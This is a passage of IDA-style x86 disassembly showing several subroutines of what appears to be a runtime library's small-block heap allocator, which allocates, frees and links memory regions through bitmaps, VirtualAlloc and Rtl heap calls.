mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_4205F1
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4205F1: ; CODE XREF: sub_420300+21Bj
; sub_420300:loc_420584j ...
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov eax, [ebp+var_34]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov [eax+8], edx
loc_42060F: ; CODE XREF: sub_420300+209j
mov eax, [ebp+var_34]
mov [ebp+var_1C], eax
loc_420615: ; CODE XREF: sub_420300+1B9j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz short loc_42062B
mov edx, [ebp+var_2C]
cmp edx, [ebp+var_28]
jz loc_42073B
loc_42062B: ; CODE XREF: sub_420300+31Dj
mov eax, [ebp+var_28]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov [eax+8], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
mov eax, [ebp+var_1C]
mov [edx+8], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_42073B
cmp [ebp+var_28], 20h
jnb short loc_4206D4
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_4206B2
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4206B2: ; CODE XREF: sub_420300+39Aj
mov eax, 80000000h
mov ecx, [ebp+var_28]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
jmp short loc_42073B
; ---------------------------------------------------------------------------
loc_4206D4: ; CODE XREF: sub_420300+377j
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_420712
mov ecx, [ebp+var_28]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_420712: ; CODE XREF: sub_420300+3F5j
mov ecx, [ebp+var_28]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
loc_42073B: ; CODE XREF: sub_420300+325j
; sub_420300+36Dj ...
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_30]
mov [ecx], edx
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov ecx, [ebp+var_30]
mov [eax-4], ecx
mov edx, [ebp+var_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jnz loc_4208C9
cmp dword_4EFF74, 0
jz loc_4208B8
mov eax, dword_4EFF6C
shl eax, 0Fh
mov ecx, dword_4EFF74
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp+var_18], edx
push 4000h
push 8000h
mov eax, [ebp+var_18]
push eax
call dword_4F148C ; VirtualFree
mov edx, 80000000h
mov ecx, dword_4EFF6C
shr edx, cl
mov eax, dword_4EFF74
mov ecx, [eax+8]
or ecx, edx
mov edx, dword_4EFF74
mov [edx+8], ecx
mov eax, dword_4EFF74
mov ecx, [eax+10h]
mov edx, dword_4EFF6C
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, dword_4EFF74
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, dword_4EFF74
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, dword_4EFF74
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_420816
mov edx, dword_4EFF74
mov eax, [edx+4]
and al, 0FEh
mov ecx, dword_4EFF74
mov [ecx+4], eax
loc_420816: ; CODE XREF: sub_420300+500j
mov edx, dword_4EFF74
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz loc_4208B8
push 8000h
push 0
mov eax, dword_4EFF74
mov ecx, [eax+0Ch]
push ecx
call dword_4F148C ; VirtualFree
mov edx, dword_4EFF74
mov eax, [edx+10h]
push eax
push 0
mov ecx, dword_4EFF80
push ecx
call dword_4F1480 ; RtlFreeHeap
mov edx, dword_4EFF78
imul edx, 14h
mov eax, dword_4EFF7C
add eax, edx
mov ecx, dword_4EFF74
add ecx, 14h
sub eax, ecx
push eax
mov edx, dword_4EFF74
add edx, 14h
push edx
mov eax, dword_4EFF74
push eax
call sub_41D520
add esp, 0Ch
mov ecx, dword_4EFF78
sub ecx, 1
mov dword_4EFF78, ecx
mov edx, [ebp+arg_0]
cmp edx, dword_4EFF74
jbe short loc_4208AC
mov eax, [ebp+arg_0]
sub eax, 14h
mov [ebp+arg_0], eax
loc_4208AC: ; CODE XREF: sub_420300+5A1j
mov ecx, dword_4EFF7C
mov dword_4EFF70, ecx
loc_4208B8: ; CODE XREF: sub_420300+46Fj
; sub_420300+520j
mov edx, [ebp+arg_0]
mov dword_4EFF74, edx
mov eax, [ebp+var_4]
mov dword_4EFF6C, eax
loc_4208C9: ; CODE XREF: sub_420300+462j
mov esp, ebp
pop ebp
retn
sub_420300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4208D0 proc near ; CODE XREF: sub_41FCA0+1Dp
; sub_41FDD0+99p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 38h
push esi
mov eax, dword_4EFF78
imul eax, 14h
mov ecx, dword_4EFF7C
add ecx, eax
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
add edx, 17h
and edx, 0FFFFFFF0h
mov [ebp+var_28], edx
mov eax, [ebp+var_28]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 20h
jge short loc_42091C
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_20]
shr edx, cl
mov [ebp+var_24], edx
mov [ebp+var_34], 0FFFFFFFFh
jmp short loc_420931
; ---------------------------------------------------------------------------
loc_42091C: ; CODE XREF: sub_4208D0+36j
mov [ebp+var_24], 0
mov ecx, [ebp+var_20]
sub ecx, 20h
or eax, 0FFFFFFFFh
shr eax, cl
mov [ebp+var_34], eax
loc_420931: ; CODE XREF: sub_4208D0+4Aj
mov ecx, dword_4EFF70
mov [ebp+var_18], ecx
loc_42093A: ; CODE XREF: sub_4208D0+94j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_420966
mov eax, [ebp+var_18]
mov ecx, [ebp+var_24]
and ecx, [eax]
mov edx, [ebp+var_18]
mov eax, [ebp+var_34]
and eax, [edx+4]
or ecx, eax
test ecx, ecx
jz short loc_42095B
jmp short loc_420966
; ---------------------------------------------------------------------------
loc_42095B: ; CODE XREF: sub_4208D0+87j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_42093A
; ---------------------------------------------------------------------------
loc_420966: ; CODE XREF: sub_4208D0+70j
; sub_4208D0+89j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz loc_420A4D
mov eax, dword_4EFF7C
mov [ebp+var_18], eax
loc_42097A: ; CODE XREF: sub_4208D0+D7j
mov ecx, [ebp+var_18]
cmp ecx, dword_4EFF70
jnb short loc_4209A9
mov edx, [ebp+var_18]
mov eax, [ebp+var_24]
and eax, [edx]
mov ecx, [ebp+var_18]
mov edx, [ebp+var_34]
and edx, [ecx+4]
or eax, edx
test eax, eax
jz short loc_42099E
jmp short loc_4209A9
; ---------------------------------------------------------------------------
loc_42099E: ; CODE XREF: sub_4208D0+CAj
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_42097A
; ---------------------------------------------------------------------------
loc_4209A9: ; CODE XREF: sub_4208D0+B3j
; sub_4208D0+CCj
mov ecx, [ebp+var_18]
cmp ecx, dword_4EFF70
jnz loc_420A4D
loc_4209B8: ; CODE XREF: sub_4208D0+104j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_4209D6
mov eax, [ebp+var_18]
cmp dword ptr [eax+8], 0
jz short loc_4209CB
jmp short loc_4209D6
; ---------------------------------------------------------------------------
loc_4209CB: ; CODE XREF: sub_4208D0+F7j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_4209B8
; ---------------------------------------------------------------------------
loc_4209D6: ; CODE XREF: sub_4208D0+EEj
; sub_4208D0+F9j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz short loc_420A27
mov eax, dword_4EFF7C
mov [ebp+var_18], eax
loc_4209E6: ; CODE XREF: sub_4208D0+135j
mov ecx, [ebp+var_18]
cmp ecx, dword_4EFF70
jnb short loc_420A07
mov edx, [ebp+var_18]
cmp dword ptr [edx+8], 0
jz short loc_4209FC
jmp short loc_420A07
; ---------------------------------------------------------------------------
loc_4209FC: ; CODE XREF: sub_4208D0+128j
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_4209E6
; ---------------------------------------------------------------------------
loc_420A07: ; CODE XREF: sub_4208D0+11Fj
; sub_4208D0+12Aj
mov ecx, [ebp+var_18]
cmp ecx, dword_4EFF70
jnz short loc_420A27
call sub_420E10
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_420A27
xor eax, eax
jmp loc_420E01
; ---------------------------------------------------------------------------
loc_420A27: ; CODE XREF: sub_4208D0+10Cj
; sub_4208D0+140j ...
mov edx, [ebp+var_18]
push edx
call sub_420F20
add esp, 4
mov ecx, [ebp+var_18]
mov edx, [ecx+10h]
mov [edx], eax
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
cmp dword ptr [ecx], 0FFFFFFFFh
jnz short loc_420A4D
xor eax, eax
jmp loc_420E01
; ---------------------------------------------------------------------------
loc_420A4D: ; CODE XREF: sub_4208D0+9Cj
; sub_4208D0+E2j ...
mov edx, [ebp+var_18]
mov dword_4EFF70, edx
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
mov [ebp+var_38], ecx
mov edx, [ebp+var_38]
mov eax, [edx]
mov [ebp+var_30], eax
cmp [ebp+var_30], 0FFFFFFFFh
jz short loc_420A90
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov eax, [ebp+var_24]
and eax, [edx+ecx*4+44h]
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [edx+ecx*4+0C4h]
or eax, esi
test eax, eax
jnz short loc_420AC5
loc_420A90: ; CODE XREF: sub_4208D0+19Bj
mov [ebp+var_30], 0
loc_420A97: ; CODE XREF: sub_4208D0+1F3j
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [ecx+eax*4+0C4h]
or edx, esi
test edx, edx
jnz short loc_420AC5
mov edx, [ebp+var_30]
add edx, 1
mov [ebp+var_30], edx
jmp short loc_420A97
; ---------------------------------------------------------------------------
loc_420AC5: ; CODE XREF: sub_4208D0+1BEj
; sub_4208D0+1E8j
mov eax, [ebp+var_30]
imul eax, 204h
mov ecx, [ebp+var_38]
lea edx, [ecx+eax+144h]
mov [ebp+var_4], edx
mov [ebp+var_20], 0
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_420B12
mov [ebp+var_20], 20h
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_34]
and edx, [ecx+eax*4+0C4h]
mov [ebp+var_1C], edx
loc_420B12: ; CODE XREF: sub_4208D0+226j
; sub_4208D0+259j
cmp [ebp+var_1C], 0
jl short loc_420B2B
mov eax, [ebp+var_1C]
shl eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
jmp short loc_420B12
; ---------------------------------------------------------------------------
loc_420B2B: ; CODE XREF: sub_4208D0+246j
mov edx, [ebp+var_20]
mov eax, [ebp+var_4]
mov ecx, [eax+edx*8+4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov eax, [edx]
sub eax, [ebp+var_28]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
sar ecx, 4
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 3Fh
jle short loc_420B5C
mov [ebp+var_14], 3Fh
loc_420B5C: ; CODE XREF: sub_4208D0+283j
mov edx, [ebp+var_14]
cmp edx, [ebp+var_20]
jz loc_420D80
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_420C4A
cmp [ebp+var_20], 20h
jge short loc_420BDF
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_30]
mov eax, [ebp+var_38]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_420BDD
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_420BDD: ; CODE XREF: sub_4208D0+2F3j
jmp short loc_420C4A
; ---------------------------------------------------------------------------
loc_420BDF: ; CODE XREF: sub_4208D0+2AEj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_420C4A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_18]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+var_18]
mov [edx+4], ecx
loc_420C4A: ; CODE XREF: sub_4208D0+2A4j
; sub_4208D0:loc_420BDDj ...
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov edx, [ebp+var_10]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_10]
mov edx, [ecx+4]
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov [edx+8], ecx
cmp [ebp+var_8], 0
jz loc_420D80
mov edx, [ebp+var_14]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+var_10]
mov ecx, [eax+4]
mov edx, [ebp+var_10]
mov [ecx+8], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_420D80
cmp [ebp+var_14], 20h
jge short loc_420D1A
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_420CF8
mov eax, 80000000h
mov ecx, [ebp+var_14]
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_420CF8: ; CODE XREF: sub_4208D0+410j
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+44h], eax
jmp short loc_420D80
; ---------------------------------------------------------------------------
loc_420D1A: ; CODE XREF: sub_4208D0+3EEj
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_420D57
mov ecx, [ebp+var_14]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+var_18]
mov [eax+4], edx
loc_420D57: ; CODE XREF: sub_4208D0+46Aj
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
loc_420D80: ; CODE XREF: sub_4208D0+292j
; sub_4208D0+39Cj ...
cmp [ebp+var_8], 0
jz short loc_420D9A
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
mov [eax], ecx
mov edx, [ebp+var_10]
add edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov [edx-4], eax
loc_420D9A: ; CODE XREF: sub_4208D0+4B4j
mov ecx, [ebp+var_10]
add ecx, [ebp+var_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_28]
add edx, 1
mov eax, [ebp+var_10]
mov [eax], edx
mov ecx, [ebp+var_28]
add ecx, 1
mov edx, [ebp+var_10]
add edx, [ebp+var_28]
mov [edx-4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov edx, [ebp+var_4]
mov [edx], eax
test ecx, ecx
jnz short loc_420DF3
mov eax, [ebp+var_18]
cmp eax, dword_4EFF74
jnz short loc_420DF3
mov ecx, [ebp+var_30]
cmp ecx, dword_4EFF6C
jnz short loc_420DF3
mov dword_4EFF74, 0
loc_420DF3: ; CODE XREF: sub_4208D0+501j
; sub_4208D0+50Cj ...
mov edx, [ebp+var_38]
mov eax, [ebp+var_30]
mov [edx], eax
mov eax, [ebp+var_10]
add eax, 4
loc_420E01: ; CODE XREF: sub_4208D0+152j
; sub_4208D0+178j
pop esi
mov esp, ebp
pop ebp
retn
sub_4208D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420E10 proc near ; CODE XREF: sub_4208D0+142p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4EFF78
cmp eax, dword_4EFF68
jnz short loc_420E6B
mov ecx, dword_4EFF68
add ecx, 10h
imul ecx, 14h
push ecx
mov edx, dword_4EFF7C
push edx
push 0
mov eax, dword_4EFF80
push eax
call dword_4F147C ; RtlReAllocateHeap
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_420E53
xor eax, eax
jmp loc_420F1B
; ---------------------------------------------------------------------------
loc_420E53: ; CODE XREF: sub_420E10+3Aj
mov ecx, [ebp+var_4]
mov dword_4EFF7C, ecx
mov edx, dword_4EFF68
add edx, 10h
mov dword_4EFF68, edx
loc_420E6B: ; CODE XREF: sub_420E10+Fj
mov eax, dword_4EFF78
imul eax, 14h
mov ecx, dword_4EFF7C
add ecx, eax
mov [ebp+var_4], ecx
push 41C4h
push 8
mov edx, dword_4EFF80
push edx
call dword_4F1478 ; RtlAllocateHeap
mov ecx, [ebp+var_4]
mov [ecx+10h], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+10h], 0
jnz short loc_420EA5
xor eax, eax
jmp short loc_420F1B
; ---------------------------------------------------------------------------
loc_420EA5: ; CODE XREF: sub_420E10+8Fj
push 4
push 2000h
push 100000h
push 0
call dword_4F1490 ; VirtualAlloc
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0
jnz short loc_420EE2
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
push 0
mov edx, dword_4EFF80
push edx
call dword_4F1480 ; RtlFreeHeap
xor eax, eax
jmp short loc_420F1B
; ---------------------------------------------------------------------------
loc_420EE2: ; CODE XREF: sub_420E10+B6j
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0FFFFFFFFh
mov eax, dword_4EFF78
add eax, 1
mov dword_4EFF78, eax
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
mov dword ptr [edx], 0FFFFFFFFh
mov eax, [ebp+var_4]
loc_420F1B: ; CODE XREF: sub_420E10+3Ej
; sub_420E10+93j ...
mov esp, ebp
pop ebp
retn
sub_420E10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420F20 proc near ; CODE XREF: sub_4208D0+15Bp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ebp+var_8], eax
mov [ebp+var_28], 0
loc_420F3F: ; CODE XREF: sub_420F20+36j
cmp [ebp+var_8], 0
jl short loc_420F58
mov ecx, [ebp+var_8]
shl ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_28]
add edx, 1
mov [ebp+var_28], edx
jmp short loc_420F3F
; ---------------------------------------------------------------------------
loc_420F58: ; CODE XREF: sub_420F20+23j
mov eax, [ebp+var_28]
imul eax, 204h
mov ecx, [ebp+var_2C]
lea edx, [ecx+eax+144h]
mov [ebp+var_C], edx
mov [ebp+var_20], 0
jmp short loc_420F80
; ---------------------------------------------------------------------------
loc_420F77: ; CODE XREF: sub_420F20+84j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
loc_420F80: ; CODE XREF: sub_420F20+55j
cmp [ebp+var_20], 3Fh
jge short loc_420FA6
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
lea eax, [edx+ecx*8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_18]
mov [ecx+8], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+var_18]
mov [eax+4], ecx
jmp short loc_420F77
; ---------------------------------------------------------------------------
loc_420FA6: ; CODE XREF: sub_420F20+64j
mov edx, [ebp+var_28]
shl edx, 0Fh
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
add ecx, edx
mov [ebp+var_10], ecx
push 4
push 1000h
push 8000h
mov edx, [ebp+var_10]
push edx
call dword_4F1490 ; VirtualAlloc
test eax, eax
jnz short loc_420FD9
or eax, 0FFFFFFFFh
jmp loc_42110A
; ---------------------------------------------------------------------------
loc_420FD9: ; CODE XREF: sub_420F20+AFj
mov eax, [ebp+var_10]
add eax, 7000h
mov [ebp+var_1C], eax
mov ecx, [ebp+var_10]
mov [ebp+var_4], ecx
jmp short loc_420FF8
; ---------------------------------------------------------------------------
loc_420FEC: ; CODE XREF: sub_420F20+13Bj
mov edx, [ebp+var_4]
add edx, 1000h
mov [ebp+var_4], edx
loc_420FF8: ; CODE XREF: sub_420F20+CAj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_1C]
ja short loc_42105D
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov dword ptr [edx+0FFCh], 0FFFFFFFFh
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov dword ptr [ecx], 0FF0h
mov edx, [ebp+var_18]
add edx, 1000h
mov eax, [ebp+var_18]
mov [eax+4], edx
mov ecx, [ebp+var_18]
sub ecx, 1000h
mov edx, [ebp+var_18]
mov [edx+8], ecx
mov eax, [ebp+var_18]
add eax, 0FECh
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
mov dword ptr [ecx], 0FF0h
jmp short loc_420FEC
; ---------------------------------------------------------------------------
loc_42105D: ; CODE XREF: sub_420F20+DEj
mov edx, [ebp+var_C]
add edx, 1F8h
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+4], eax
mov edx, [ebp+var_14]
mov eax, [edx+4]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_1C]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+8], eax
mov edx, [ebp+var_14]
mov eax, [edx+8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_28]
mov ecx, [ebp+var_2C]
mov dword ptr [ecx+eax*4+44h], 0
mov edx, [ebp+var_28]
mov eax, [ebp+var_2C]
mov dword ptr [eax+edx*4+0C4h], 1
mov ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+43h]
mov eax, [ebp+var_2C]
mov cl, [eax+43h]
add cl, 1
mov eax, [ebp+var_2C]
mov [eax+43h], cl
test edx, edx
jnz short loc_4210ED
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4210ED: ; CODE XREF: sub_420F20+1BCj
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+var_28]
loc_42110A: ; CODE XREF: sub_420F20+B4j
mov esp, ebp
pop ebp
retn
sub_420F20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421110 proc near ; CODE XREF: sub_41FD20+50p
; sub_41FDD0+81p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_8]
add eax, 17h
and al, 0F0h
